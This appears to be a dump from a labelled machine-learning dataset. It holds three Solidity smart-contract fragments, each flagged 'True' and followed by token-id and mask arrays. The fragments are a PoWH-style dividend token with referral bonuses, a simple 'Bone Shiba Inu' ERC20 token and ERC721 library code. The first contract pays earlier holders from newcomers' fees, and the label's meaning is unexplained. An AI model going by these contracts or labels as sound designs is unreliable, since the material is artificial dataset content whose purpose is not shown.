require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a Kekly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
if (isUser[_customerAddress] == false) {
referrals[_referredBy]++;
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (isUser[_customerAddress] == false ) {
isUser[_customerAddress] = true;
usersAddresses.push(_customerAddress);
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2322,
1025,
1013,
1008,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
4037,
1024,
16770,
1024,
1013,
1013,
4654,
2953,
8569,
2595,
1012,
4012,
3863,
1006,
2057,
28667,
20778,
2094,
2000,
2224,
18804,
9335,
2243,
2030,
3404,
9628,
3388,
1007,
1024,
16770,
1024,
1013,
1013,
4654,
2953,
8569,
2595,
1012,
4012,
1013,
3863,
10474,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
4654,
2953,
8569,
2595,
23921,
2177,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
4654,
2953,
8569,
2595,
17058,
23921,
8874,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
4654,
2953,
8569,
2595,
9006,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
4654,
2953,
8569,
2595,
4654,
2953,
8569,
2595,
7796,
13135,
28855,
14820,
1012,
1011,
23311,
1011,
3486,
1003,
7408,
3632,
2000,
2035,
2783,
19204,
13304,
1012,
1011,
15187,
1011,
2321,
1003,
7408,
2000,
2035,
2783,
19204,
2015,
13304,
1012,
1998,
2009,
1521,
1055,
2896,
2138,
2017,
5807,
1521,
1056,
2031,
2000,
3477,
1996,
22856,
7408,
22371,
1012,
2017,
10107,
2062,
1012,
1011,
15210,
1011,
1014,
1003,
7408,
999,
2057,
2031,
3488,
2005,
2399,
1998,
2057,
2123,
1004,
1001,
4464,
1025,
1056,
2215,
2008,
2000,
2022,
2019,
18355,
999,
1011,
3040,
3630,
3207,
1011,
2017,
2131,
1021,
1003,
2013,
12816,
1997,
2035,
2867,
2040,
4607,
2478,
2115,
3040,
3630,
3207,
1012,
1008,
1013,
3206,
4654,
2953,
8569,
2595,
1063,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
16913,
28295,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1013,
1013,
1013,
2069,
2111,
2007,
19204,
2015,
16913,
18095,
2069,
16078,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-14
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract BoneShibaInu is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Bone Shiba Inu";
symbol = "BONE";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2403,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
9413,
2278,
19204,
3115,
1001,
2322,
8278,
1013,
1013,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
19204,
12384,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
5703,
1007,
1025,
3853,
21447,
1006,
4769,
19204,
12384,
2121,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
3588,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
19204,
12384,
2121,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
1065,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
3075,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-19
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-04
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-02
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
